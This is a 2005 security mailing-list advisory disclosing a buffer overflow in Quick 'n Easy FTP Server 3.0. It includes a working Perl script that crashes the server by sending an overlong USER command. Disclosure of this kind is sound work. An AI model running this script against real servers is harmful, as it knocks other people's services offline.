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Quick 'n Easy FTP Server 3.0 pro / lite (buffer overflow vulnerabilities)
From: matiteman () securityfocus com, "[at]"@securityfocus.com, hotmail.com () securityfocus com
Date: 2 Aug 2005 13:58:47 -0000
Details: ======== Input to the user commands is not properly checked and/or filtered. Issuing a long argument to the user (about 1024 caracteres) commands will cause the corresponding process to die without any error message. this vulnerabilities exist in both the professionnal version 3.0 and lite version 3.0 Exploits: ======== Run the following PERL script against the server. The corresponding process will die. #=====testserver.pl ===== # # Usage: testserver.pl <ip> # testserver.pl 127.0.0.1 # bug discovered by : matiteman # exploit coded by : matiteman # thanks to : Reed Arvin (peachfuzz) # Quick 'n Easy FTP Server 3.0 (pro and lite) # Download: # http://www.pablosoftwaresolutions.com/ # ########################################## use IO::Socket; use strict; my($socket) = ""; if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "21", Proto => "TCP")) { print "Attempting to kill Quick 'n Easy FTP Server 3.0 (pro / lite) at $ARGV[0]:21...\n"; sleep(1); print $socket "user " . "A" x 1024 . "\r\n"; sleep(1); close($socket); } else { print "Cannot connect to $ARGV[0]:21\n"; } #===== testserver.pl =====
Current thread:
- Quick 'n Easy FTP Server 3.0 pro / lite (buffer overflow vulnerabilities) [at] (Aug 02)
- <Possible follow-ups>
- Re: Quick 'n Easy FTP Server 3.0 pro / lite (buffer overflow vulnerabilities) brom0815 (Aug 03)